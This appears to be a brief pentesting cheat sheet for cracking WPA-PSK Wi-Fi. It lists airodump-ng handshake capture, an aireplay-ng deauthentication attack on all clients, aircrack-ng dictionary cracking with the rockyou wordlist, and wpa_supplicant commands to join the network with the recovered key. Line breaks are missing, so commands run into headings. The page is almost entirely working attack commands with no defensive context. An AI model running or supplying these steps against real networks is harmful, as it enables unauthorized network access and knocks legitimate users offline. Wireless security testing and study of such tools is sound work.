WPA-PSK
List the target:
sudo airodump-ng wlan0airodump-ng --bssid <Target_SSID> --channel <channel_number> --write wpa_psk_handshake wlan0deauth all client:
aireplay-ng -0 5 -a <Target_SSID> wlan0crack the handshake:
aircrack-ng wpa_psk_handshake.cap -w /usr/share/wordlist/rockyou.txtHow to connect via terminal:
generate the config
wpa_passphrase <Target-Name> <Password> > wpa_psk.confconnect to the ssid
sudo wpa_supplicant -B -i wlan0 -c ./wpa_psk.confobtain the IP Address
sudo dhclient wlan0Bonus:
How to stop wpa_supplicant:
systemctl stop wpa_supplicantLast updated